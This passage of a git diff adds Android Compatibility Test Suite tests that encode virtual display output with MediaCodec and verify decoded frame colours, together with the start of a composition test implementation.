+    public void testEncodeDecodeVideoFromSurfaceToPersistentSurface() throws Throwable {
+        SurfaceToSurfaceWrapper.runTest(this, true, false);
+    }
+
+    @Test
+    public void testEncodeDecodeVideoFromSurfaceToPersistentSurfaceNdk() throws Throwable {
+        SurfaceToSurfaceWrapper.runTest(this, true, USE_NDK);
+    }
+}
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayTest.java b/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayTest.java
new file mode 100755
index 0000000..e8bd2cf
--- /dev/null
+++ b/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayTest.java
@@ -0,0 +1,644 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.codec.cts;
+
+import android.app.Presentation;
+import android.content.Context;
+import android.graphics.drawable.ColorDrawable;
+import android.hardware.display.DisplayManager;
+import android.hardware.display.VirtualDisplay;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
+import android.media.MediaMuxer;
+import android.media.cts.CompositionTextureView;
+import android.media.cts.InputSurface;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.OutputSurface;
+import android.media.cts.TestArgs;
+import android.opengl.GLES20;
+import android.os.Build;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.AndroidTestCase;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.view.Display;
+import android.view.Surface;
+import android.view.ViewGroup.LayoutParams;
+import android.view.WindowManager;
+import android.widget.ImageView;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.List;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+/**
+ * Tests connecting a virtual display to the input of a MediaCodec encoder.
+ * <p>
+ * Other test cases exercise these independently in more depth.  The goal here is to make sure
+ * that virtual displays and MediaCodec can be used together.
+ * <p>
+ * We can't control frame-by-frame what appears on the virtual display, because we're
+ * just throwing a Presentation and a View at it.  Further, it's possible that frames
+ * will be dropped if they arrive faster than they are consumed, so any given frame
+ * may not appear at all.  We can't wait for a series of actions to complete by watching
+ * the output, because the frames are going directly to the encoder, and the encoder may
+ * collect a number of frames before producing output.
+ * <p>
+ * The test puts up a series of colored screens, expecting to see all of them, and in order.
+ * Any black screens that appear before or after are ignored.
+ */
+@Presubmit
+@SmallTest
+@RequiresDevice
+@RunWith(Parameterized.class)
+public class EncodeVirtualDisplayTest {
+    private static final String TAG = "EncodeVirtualTest";
+    private static final boolean VERBOSE = false;           // lots of logging
+    private static final boolean DEBUG_SAVE_FILE = false;   // save copy of encoded movie
+    private static final String DEBUG_FILE_NAME_BASE = "/sdcard/test.";
+
+    // Virtual display characteristics.  Scaled down from full display size because not all
+    // devices can encode at the resolution of their own display.
+    private static final String NAME = TAG;
+    private static final int DENSITY = DisplayMetrics.DENSITY_HIGH;
+    private static final int UI_TIMEOUT_MS = 2000;
+    private static final int UI_RENDER_PAUSE_MS = 400;
+
+    // 100 days between I-frames
+    private static final int IFRAME_INTERVAL = 60 * 60 * 24 * 100;
+
+    // Colors to test (RGB).  These must convert cleanly to and from BT.601 YUV.
+    private static final int TEST_COLORS[] = {
+        makeColor(0, 0, 0),             // YCbCr 16,128,128
+        makeColor(10, 100, 200),        // YCbCr 89,186,82
+        makeColor(100, 200, 10),        // YCbCr 144,60,98
+        makeColor(200, 10, 100),        // YCbCr 203,10,103
+        makeColor(10, 200, 100),        // YCbCr 130,113,52
+        makeColor(100, 10, 200),        // YCbCr 67,199,154
+        makeColor(200, 100, 10),        // YCbCr 119,74,179
+    };
+
+    private final ByteBuffer mPixelBuf = ByteBuffer.allocateDirect(4);
+    private Handler mUiHandler;                             // Handler on main Looper
+    private DisplayManager mDisplayManager;
+    volatile boolean mInputDone;
+    private Context mContext;
+    private String mEncoderName;
+    private String mMediaType;
+    private int mWidth;
+    private int mHeight;
+    private int mBitRate;
+    private int mFrameRate;
+    private MediaFormat mFormat;
+
+    /* TEST_COLORS static initialization; need ARGB for ColorDrawable */
+    private static int makeColor(int red, int green, int blue) {
+        return 0xff << 24 | (red & 0xff) << 16 | (green & 0xff) << 8 | (blue & 0xff);
+    }
+
+    private static boolean sIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+    private static boolean sIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
+
+    public EncodeVirtualDisplayTest(String encodername, String mediaType, int width, int height,
+            int bitrate, int framerate, @SuppressWarnings("unused") String level) {
+        mEncoderName = encodername;
+        mMediaType = mediaType;
+        mWidth = width;
+        mHeight = height;
+        mBitRate = bitrate;
+        mFrameRate = framerate;
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mUiHandler = new Handler(Looper.getMainLooper());
+        mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+        mDisplayManager = (DisplayManager)mContext.getSystemService(Context.DISPLAY_SERVICE);
+    }
+
+    static private List<Object[]> prepareParamList(List<Object[]> exhaustiveArgsList) {
+        final List<Object[]> argsList = new ArrayList<>();
+        int argLength = exhaustiveArgsList.get(0).length;
+        for (Object[] arg : exhaustiveArgsList) {
+            String mediaType = (String)arg[0];
+            if (TestArgs.shouldSkipMediaType(mediaType)) {
+                continue;
+            }
+            String[] componentNames = MediaUtils.getEncoderNamesForMime(mediaType);
+            for (String name : componentNames) {
+                if (TestArgs.shouldSkipCodec(name)) {
+                    continue;
+                }
+                Object[] testArgs = new Object[argLength + 1];
+                // Add codec name as first argument and then copy all other arguments passed
+                testArgs[0] = name;
+                System.arraycopy(arg, 0, testArgs, 1, argLength);
+                argsList.add(testArgs);
+            }
+        }
+        return argsList;
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}:{6})")
+    public static Collection<Object[]> input() {
+        final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+                // mediaType, width, height,  bitrate, framerate, level
+                {MediaFormat.MIMETYPE_VIDEO_AVC, 1280, 720, 14000000, 30, "AVCLevel31"},
+                {MediaFormat.MIMETYPE_VIDEO_AVC,  720, 480, 10000000, 30, "AVCLevel3"},
+                {MediaFormat.MIMETYPE_VIDEO_AVC,  720, 480,  4000000, 15, "AVCLevel22"},
+                {MediaFormat.MIMETYPE_VIDEO_AVC,  352, 576,  4000000, 25, "AVCLevel21"},
+        });
+        return prepareParamList(exhaustiveArgsList);
+    }
+
+    /**
+     * Basic test.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testEncodeVirtualDisplay() throws Throwable {
+        if (!MediaUtils.check(sIsAtLeastR, "test needs Android 11")) return;
+        // Encoded video resolution matches virtual display.
+        mFormat = MediaFormat.createVideoFormat(mMediaType, mWidth, mHeight);
+        mFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
+        mFormat.setInteger(MediaFormat.KEY_BIT_RATE, mBitRate);
+        mFormat.setInteger(MediaFormat.KEY_FRAME_RATE, mFrameRate);
+        mFormat.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+        mFormat.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
+        mFormat.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT601_PAL);
+        mFormat.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
+        assumeTrue(mEncoderName + " doesn't support format " + mFormat,
+                MediaUtils.supports(mEncoderName, mFormat));
+
+        EncodeVirtualWrapper.runTest(this);
+    }
+
+    /**
+     * Wraps encodeVirtualTest, running it in a new thread.  Required because of the way
+     * SurfaceTexture.OnFrameAvailableListener works when the current thread has a Looper
+     * configured.
+     */
+    private static class EncodeVirtualWrapper implements Runnable {
+        private Throwable mThrowable;
+        private EncodeVirtualDisplayTest mTest;
+
+        private EncodeVirtualWrapper(EncodeVirtualDisplayTest test) {
+            mTest = test;
+        }
+
+        @Override
+        public void run() {
+            try {
+                mTest.encodeVirtualDisplayTest();
+            } catch (Throwable th) {
+                mThrowable = th;
+            }
+        }
+
+        /** Entry point. */
+        public static void runTest(EncodeVirtualDisplayTest obj) throws Throwable {
+            EncodeVirtualWrapper wrapper = new EncodeVirtualWrapper(obj);
+            Thread th = new Thread(wrapper, "codec test");
+            th.start();
+            th.join();
+            if (wrapper.mThrowable != null) {
+                throw wrapper.mThrowable;
+            }
+        }
+    }
+
+    /**
+     * Prepares the encoder, decoder, and virtual display.
+     */
+    private void encodeVirtualDisplayTest() throws IOException {
+        MediaCodec encoder = null;
+        MediaCodec decoder = null;
+        OutputSurface outputSurface = null;
+        VirtualDisplay virtualDisplay = null;
+        ColorSlideShow slideShow = null;
+
+        try {
+            encoder = MediaCodec.createByCodecName(mEncoderName);
+            encoder.configure(mFormat, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+            Surface inputSurface = encoder.createInputSurface();
+            encoder.start();
+
+            // Create a virtual display that will output to our encoder.
+            virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
+                    mWidth, mHeight, DENSITY, inputSurface, 0);
+
+            // We also need a decoder to check the output of the encoder.
+            decoder = MediaCodec.createDecoderByType(mMediaType);
+            MediaFormat decoderFormat = MediaFormat.createVideoFormat(mMediaType, mWidth, mHeight);
+            outputSurface = new OutputSurface(mWidth, mHeight);
+            decoder.configure(decoderFormat, outputSurface.getSurface(), null, 0);
+            decoder.start();
+
+            // Run the color slide show on a separate thread.
+            mInputDone = false;
+            slideShow = new ColorSlideShow(virtualDisplay.getDisplay());
+            slideShow.start();
+
+            // Record everything we can and check the results.
+            doTestEncodeVirtual(encoder, decoder, outputSurface);
+
+        } finally {
+            if (VERBOSE) Log.d(TAG, "releasing codecs, surfaces, and virtual display");
+            if (slideShow != null) {
+                try {
+                    slideShow.join();
+                } catch (InterruptedException ignore) {}
+            }
+            if (virtualDisplay != null) {
+                virtualDisplay.release();
+            }
+            if (outputSurface != null) {
+                outputSurface.release();
+            }
+            if (encoder != null) {
+                encoder.stop();
+                encoder.release();
+            }
+            if (decoder != null) {
+                decoder.stop();
+                decoder.release();
+            }
+        }
+    }
+
+    /**
+     * Drives the encoder and decoder.
+     */
+    private void doTestEncodeVirtual(MediaCodec encoder, MediaCodec decoder,
+            OutputSurface outputSurface) {
+        final int TIMEOUT_USEC = 10000;
+        ByteBuffer[] encoderOutputBuffers = encoder.getOutputBuffers();
+        ByteBuffer[] decoderInputBuffers = decoder.getInputBuffers();
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+        boolean inputEosSignaled = false;
+        int lastIndex = -1;
+        int goodFrames = 0;
+        int debugFrameCount = 0;
+
+        // Save a copy to disk.  Useful for debugging the test.
+        MediaMuxer muxer = null;
+        int trackIndex = -1;
+        if (DEBUG_SAVE_FILE) {
+            String fileName = DEBUG_FILE_NAME_BASE + mWidth + "x" + mHeight + ".mp4";
+            try {
+                muxer = new MediaMuxer(fileName, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+                Log.d(TAG, "encoded output will be saved as " + fileName);
+            } catch (IOException ioe) {
+                Log.w(TAG, "Unable to create debug output file " + fileName);
+                throw new RuntimeException(ioe);
+            }
+        }
+
+        // Loop until the output side is done.
+        boolean encoderDone = false;
+        boolean outputDone = false;
+        while (!outputDone) {
+            if (VERBOSE) Log.d(TAG, "loop");
+
+            if (!inputEosSignaled && mInputDone) {
+                if (VERBOSE) Log.d(TAG, "signaling input EOS");
+                encoder.signalEndOfInputStream();
+                inputEosSignaled = true;
+            }
+
+            boolean decoderOutputAvailable = true;
+            boolean encoderOutputAvailable = !encoderDone;
+            while (decoderOutputAvailable || encoderOutputAvailable) {
+                // Start by draining any pending output from the decoder.  It's important to
+                // do this before we try to stuff any more data in.
+                int decoderStatus = decoder.dequeueOutputBuffer(info, TIMEOUT_USEC);
+                if (decoderStatus == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                    // no output available yet
+                    if (VERBOSE) Log.d(TAG, "no output from decoder available");
+                    decoderOutputAvailable = false;
+                } else if (decoderStatus == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                    if (VERBOSE) Log.d(TAG, "decoder output buffers changed (but we don't care)");
+                } else if (decoderStatus == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    // this happens before the first frame is returned
+                    MediaFormat decoderOutputFormat = decoder.getOutputFormat();
+                    if (VERBOSE) Log.d(TAG, "decoder output format changed: " +
+                            decoderOutputFormat);
+                } else if (decoderStatus < 0) {
+                    fail("unexpected result from deocder.dequeueOutputBuffer: " + decoderStatus);
+                } else {  // decoderStatus >= 0
+                    if (VERBOSE) Log.d(TAG, "surface decoder given buffer " + decoderStatus +
+                            " (size=" + info.size + ")");
+                    if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                        if (VERBOSE) Log.d(TAG, "output EOS");
+                        outputDone = true;
+                    }
+
+                    // The ByteBuffers are null references, but we still get a nonzero size for
+                    // the decoded data.
+                    boolean doRender = (info.size != 0);
+
+                    // As soon as we call releaseOutputBuffer, the buffer will be forwarded
+                    // to SurfaceTexture to convert to a texture.  The API doesn't guarantee
+                    // that the texture will be available before the call returns, so we
+                    // need to wait for the onFrameAvailable callback to fire.  If we don't
+                    // wait, we risk dropping frames.
+                    outputSurface.makeCurrent();
+                    decoder.releaseOutputBuffer(decoderStatus, doRender);
+                    if (doRender) {
+                        if (VERBOSE) Log.d(TAG, "awaiting frame " + (lastIndex+1));
+                        outputSurface.awaitNewImage();
+                        outputSurface.drawImage();
+                        int foundIndex = checkSurfaceFrame();
+                        if (foundIndex == lastIndex + 1) {
+                            // found the next one in the series
+                            lastIndex = foundIndex;
+                            goodFrames++;
+                        } else if (foundIndex == lastIndex) {
+                            // Sometimes we see the same color two frames in a row.
+                            if (VERBOSE) Log.d(TAG, "Got another " + lastIndex);
+                        } else if (foundIndex > 0) {
+                            // Looks like we missed a color frame.  It's possible something
+                            // stalled and we dropped a frame.  Skip forward to see if we
+                            // can catch the rest.
+                            if (foundIndex < lastIndex) {
+                                Log.w(TAG, "Ignoring backward skip from " +
+                                    lastIndex + " to " + foundIndex);
+                            } else {
+                                Log.w(TAG, "Frame skipped, advancing lastIndex from " +
+                                        lastIndex + " to " + foundIndex);
+                                goodFrames++;
+                                lastIndex = foundIndex;
+                            }
+                        }
+                    }
+                }
+                if (decoderStatus != MediaCodec.INFO_TRY_AGAIN_LATER) {
+                    // Continue attempts to drain output.
+                    continue;
+                }
+
+                // Decoder is drained, check to see if we've got a new buffer of output from
+                // the encoder.
+                if (!encoderDone) {
+                    int encoderStatus = encoder.dequeueOutputBuffer(info, TIMEOUT_USEC);
+                    if (encoderStatus == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                        // no output available yet
+                        if (VERBOSE) Log.d(TAG, "no output from encoder available");
+                        encoderOutputAvailable = false;
+                    } else if (encoderStatus == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                        // not expected for an encoder
+                        encoderOutputBuffers = encoder.getOutputBuffers();
+                        if (VERBOSE) Log.d(TAG, "encoder output buffers changed");
+                    } else if (encoderStatus == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                        // received before first buffer
+                        MediaFormat newFormat = encoder.getOutputFormat();
+                        if (VERBOSE) Log.d(TAG, "encoder output format changed: " + newFormat);
+                        if (muxer != null && trackIndex == -1) {
+                            trackIndex = muxer.addTrack(newFormat);
+                            muxer.start();
+                        }
+                    } else if (encoderStatus < 0) {
+                        fail("unexpected result from encoder.dequeueOutputBuffer: " + encoderStatus);
+                    } else { // encoderStatus >= 0
+                        ByteBuffer encodedData = encoderOutputBuffers[encoderStatus];
+                        if (encodedData == null) {
+                            fail("encoderOutputBuffer " + encoderStatus + " was null");
+                        }
+
+                        // It's usually necessary to adjust the ByteBuffer values to match BufferInfo.
+                        encodedData.position(info.offset);
+                        encodedData.limit(info.offset + info.size);
+
+                        if (muxer != null) {
+                            muxer.writeSampleData(trackIndex, encodedData, info);
+                            debugFrameCount++;
+                        }
+
+                        // Get a decoder input buffer, blocking until it's available.  We just
+                        // drained the decoder output, so we expect there to be a free input
+                        // buffer now or in the near future (i.e. this should never deadlock
+                        // if the codec is meeting requirements).
+                        //
+                        // The first buffer of data we get will have the BUFFER_FLAG_CODEC_CONFIG
+                        // flag set; the decoder will see this and finish configuring itself.
+                        int inputBufIndex = decoder.dequeueInputBuffer(-1);
+                        ByteBuffer inputBuf = decoderInputBuffers[inputBufIndex];
+                        inputBuf.clear();
+                        inputBuf.put(encodedData);
+                        decoder.queueInputBuffer(inputBufIndex, 0, info.size,
+                                info.presentationTimeUs, info.flags);
+
+                        // If everything from the encoder has been passed to the decoder, we
+                        // can stop polling the encoder output.  (This just an optimization.)
+                        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                            encoderDone = true;
+                            encoderOutputAvailable = false;
+                        }
+                        if (VERBOSE) Log.d(TAG, "passed " + info.size + " bytes to decoder"
+                                + (encoderDone ? " (EOS)" : ""));
+
+                        encoder.releaseOutputBuffer(encoderStatus, false);
+                    }
+                }
+            }
+        }
+
+        if (muxer != null) {
+            muxer.stop();
+            muxer.release();
+            if (VERBOSE) Log.d(TAG, "Wrote " + debugFrameCount + " frames");
+        }
+
+        if (goodFrames != TEST_COLORS.length) {
+            fail("Found " + goodFrames + " of " + TEST_COLORS.length + " expected frames");
+        }
+    }
+
+    /**
+     * Checks the contents of the current EGL surface to see if it matches expectations.
+     * <p>
+     * The surface may be black or one of the colors we've drawn.  We have sufficiently little
+     * control over the rendering process that we don't know how many (if any) black frames
+     * will appear between each color frame.
+     * <p>
+     * @return the color index, or -2 for black
+     * @throw RuntimeException if the color isn't recognized (probably because the RGB<->YUV
+     *     conversion introduced too much variance)
+     */
+    private int checkSurfaceFrame() {
+        boolean frameFailed = false;
+
+        // Read a pixel from the center of the surface.  Might want to read from multiple points
+        // and average them together.
+        int x = mWidth / 2;
+        int y = mHeight / 2;
+        GLES20.glReadPixels(x, y, 1, 1, GLES20.GL_RGBA, GLES20.GL_UNSIGNED_BYTE, mPixelBuf);
+        int r = mPixelBuf.get(0) & 0xff;
+        int g = mPixelBuf.get(1) & 0xff;
+        int b = mPixelBuf.get(2) & 0xff;
+        if (VERBOSE) Log.d(TAG, "GOT: r=" + r + " g=" + g + " b=" + b);
+
+        // Walk through the color list and try to find a match.  These may have gone through
+        // RGB<->YCbCr conversions, so don't expect exact matches.
+        for (int i = 0; i < TEST_COLORS.length; i++) {
+            int testRed = (TEST_COLORS[i] >> 16) & 0xff;
+            int testGreen = (TEST_COLORS[i] >> 8) & 0xff;
+            int testBlue = TEST_COLORS[i] & 0xff;
+            if (approxEquals(testRed, r) && approxEquals(testGreen, g) &&
+                    approxEquals(testBlue, b)) {
+                if (VERBOSE) Log.d(TAG, "Matched color " + i + ": r=" + r + " g=" + g + " b=" + b);
+                return i;
+            }
+        }
+
+        throw new RuntimeException("No match for color r=" + r + " g=" + g + " b=" + b);
+    }
+
+    /**
+     * Determines if two color values are approximately equal.
+     */
+    private static boolean approxEquals(int expected, int actual) {
+        final int MAX_DELTA = 7;
+        return Math.abs(expected - actual) <= MAX_DELTA;
+    }
+
+    /**
+     * Creates a series of colorful Presentations on the specified Display.
+     */
+    private class ColorSlideShow extends Thread {
+        private Display mDisplay;
+
+        public ColorSlideShow(Display display) {
+            mDisplay = display;
+        }
+
+        @Override
+        public void run() {
+            for (int testColor : TEST_COLORS) {
+                showPresentation(testColor);
+            }
+
+            if (VERBOSE) Log.d(TAG, "slide show finished");
+            mInputDone = true;
+        }
+
+        private void showPresentation(final int color) {
+            final TestPresentation[] presentation = new TestPresentation[1];
+            final CountDownLatch latch = new CountDownLatch(1);
+            try {
+                runOnUiThread(() -> {
+                    // Want to create presentation on UI thread so it finds the right Looper
+                    // when setting up the Dialog.
+                    presentation[0] = new TestPresentation(mContext, mDisplay, color);
+                    if (VERBOSE) Log.d(TAG, "showing color=0x" + Integer.toHexString(color));
+                    presentation[0].show();
+                    latch.countDown();
+                });
+
+                // Give the presentation an opportunity to render.  We don't have a way to
+                // monitor the output, so we just sleep for a bit.
+                try {
+                    // wait for the UI thread execution to finish
+                    latch.await(5, TimeUnit.SECONDS);
+                    Thread.sleep(UI_RENDER_PAUSE_MS);
+                } catch (InterruptedException ignore) {
+                }
+            } finally {
+                if (presentation[0] != null) {
+                    presentation[0].dismiss();
+                    presentation[0] = null;
+                }
+            }
+        }
+    }
+
+    /**
+     * Executes a runnable on the UI thread, and waits for it to complete.
+     */
+    private void runOnUiThread(Runnable runnable) {
+        Runnable waiter = new Runnable() {
+            @Override
+            public void run() {
+                synchronized (this) {
+                    notifyAll();
+                }
+            }
+        };
+        synchronized (waiter) {
+            mUiHandler.post(runnable);
+            mUiHandler.post(waiter);
+            try {
+                waiter.wait(UI_TIMEOUT_MS);
+            } catch (InterruptedException ex) {
+            }
+        }
+    }
+
+    /**
+     * Presentation we can show on a virtual display.  The view is set to a single color value.
+     */
+    private class TestPresentation extends Presentation {
+        private final int mColor;
+
+        public TestPresentation(Context context, Display display, int color) {
+            super(context, display);
+            mColor = color;
+        }
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+
+            setTitle("Encode Virtual Test");
+
+            // Create a solid color image to use as the content of the presentation.
+            ImageView view = new ImageView(mContext);
+            view.setImageDrawable(new ColorDrawable(mColor));
+            view.setLayoutParams(new LayoutParams(
+                    LayoutParams.MATCH_PARENT, LayoutParams.MATCH_PARENT));
+            setContentView(view);
+        }
+    }
+}
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayWithCompositionTest.java b/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayWithCompositionTest.java
new file mode 100644
index 0000000..0625743
--- /dev/null
+++ b/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayWithCompositionTest.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.codec.cts;
+
+import android.media.MediaFormat;
+import android.media.cts.NonMediaMainlineTest;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.AndroidTestCase;
+import android.util.Log;
+import android.util.Size;
+
+import androidx.test.filters.SmallTest;
+
+/**
+ * Tests to check if MediaCodec encoding works with composition of multiple virtual displays
+ * The test also tries to destroy and create virtual displays repeatedly to
+ * detect any issues. The test itself does not check the output as it is already done in other
+ * tests.
+ */
+@SmallTest
+@RequiresDevice
+@NonMediaMainlineTest           // exercises hw codecs, fails in windowing on pure older releases
+public class EncodeVirtualDisplayWithCompositionTest extends AndroidTestCase {
+    private static final String TAG = "EncodeVirtualDisplayWithCompositionTest";
+    private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
+
+    private final EncodeVirtualDisplayWithCompositionTestImpl mImpl =
+            new EncodeVirtualDisplayWithCompositionTestImpl();
+
+    public void testVirtualDisplayRecycles() throws Exception {
+        mImpl.doTestVirtualDisplayRecycles(getContext(), 3);
+    }
+
+    @Presubmit
+    public void testRendering800x480Locally() throws Throwable {
+        Log.i(TAG, "testRendering800x480Locally");
+        if (mImpl.isConcurrentEncodingDecodingSupported(
+                MIME_TYPE, 800, 480, mImpl.BITRATE_800x480)) {
+            mImpl.runTestRenderingInSeparateThread(
+                    getContext(), MIME_TYPE, 800, 480, false, false);
+        } else {
+            Log.i(TAG, "SKIPPING testRendering800x480Locally(): codec not supported");
+        }
+    }
+
+    @Presubmit
+    public void testRenderingMaxResolutionLocally() throws Throwable {
+        Log.i(TAG, "testRenderingMaxResolutionLocally");
+        Size maxRes = mImpl.checkMaxConcurrentEncodingDecodingResolution();
+        if (maxRes == null) {
+            Log.i(TAG, "SKIPPING testRenderingMaxResolutionLocally(): codec not supported");
+        } else {
+            Log.w(TAG, "Trying resolution " + maxRes);
+            mImpl.runTestRenderingInSeparateThread(
+                    getContext(), MIME_TYPE, maxRes.getWidth(), maxRes.getHeight(), false, false);
+        }
+    }
+
+    @Presubmit
+    public void testRendering800x480Remotely() throws Throwable {
+        Log.i(TAG, "testRendering800x480Remotely");
+        if (mImpl.isConcurrentEncodingDecodingSupported(
+                MIME_TYPE, 800, 480, mImpl.BITRATE_800x480)) {
+            mImpl.runTestRenderingInSeparateThread(getContext(), MIME_TYPE, 800, 480, true, false);
+        } else {
+            Log.i(TAG, "SKIPPING testRendering800x480Remotely(): codec not supported");
+        }
+    }
+
+    @Presubmit
+    public void testRenderingMaxResolutionRemotely() throws Throwable {
+        Log.i(TAG, "testRenderingMaxResolutionRemotely");
+        Size maxRes = mImpl.checkMaxConcurrentEncodingDecodingResolution();
+        if (maxRes == null) {
+            Log.i(TAG, "SKIPPING testRenderingMaxResolutionRemotely(): codec not supported");
+        } else {
+            Log.w(TAG, "Trying resolution " + maxRes);
+            mImpl.runTestRenderingInSeparateThread(
+                    getContext(), MIME_TYPE, maxRes.getWidth(), maxRes.getHeight(), true, false);
+        }
+    }
+
+    @Presubmit
+    public void testRendering800x480RemotelyWith3Windows() throws Throwable {
+        Log.i(TAG, "testRendering800x480RemotelyWith3Windows");
+        if (mImpl.isConcurrentEncodingDecodingSupported(
+                MIME_TYPE, 800, 480, mImpl.BITRATE_800x480)) {
+            mImpl.runTestRenderingInSeparateThread(getContext(), MIME_TYPE, 800, 480, true, true);
+        } else {
+            Log.i(TAG, "SKIPPING testRendering800x480RemotelyWith3Windows(): codec not supported");
+        }
+    }
+
+    @Presubmit
+    public void testRendering800x480LocallyWith3Windows() throws Throwable {
+        Log.i(TAG, "testRendering800x480LocallyWith3Windows");
+        if (mImpl.isConcurrentEncodingDecodingSupported(
+                MIME_TYPE, 800, 480, mImpl.BITRATE_800x480)) {
+            mImpl.runTestRenderingInSeparateThread(getContext(), MIME_TYPE, 800, 480, false, true);
+        } else {
+            Log.i(TAG, "SKIPPING testRendering800x480LocallyWith3Windows(): codec not supported");
+        }
+    }
+}
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayWithCompositionTestImpl.java b/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
new file mode 100644
index 0000000..12bff24
--- /dev/null
+++ b/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
@@ -0,0 +1,1593 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.codec.cts;
+
+import android.app.Presentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.graphics.SurfaceTexture;
+import android.graphics.drawable.ColorDrawable;
+import android.hardware.display.DisplayManager;
+import android.hardware.display.VirtualDisplay;
+import android.media.MediaCodec;
+import android.media.MediaCodec.BufferInfo;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
+import android.media.cts.CompositionTextureView;
+import android.media.cts.R;
+import android.media.cts.InputSurface;
+import android.media.cts.OutputSurface;
+import android.opengl.GLES11Ext;
+import android.opengl.GLES20;
+import android.opengl.Matrix;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.Message;
+import android.os.Parcel;
+import android.platform.test.annotations.RequiresDevice;
+import android.util.Log;
+import android.util.Size;
+import android.view.Display;
+import android.view.Surface;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.ViewGroup.LayoutParams;
+import android.view.WindowManager;
+import android.widget.FrameLayout;
+import android.widget.ImageView;
+import android.widget.TableLayout;
+import android.widget.TableRow;
+
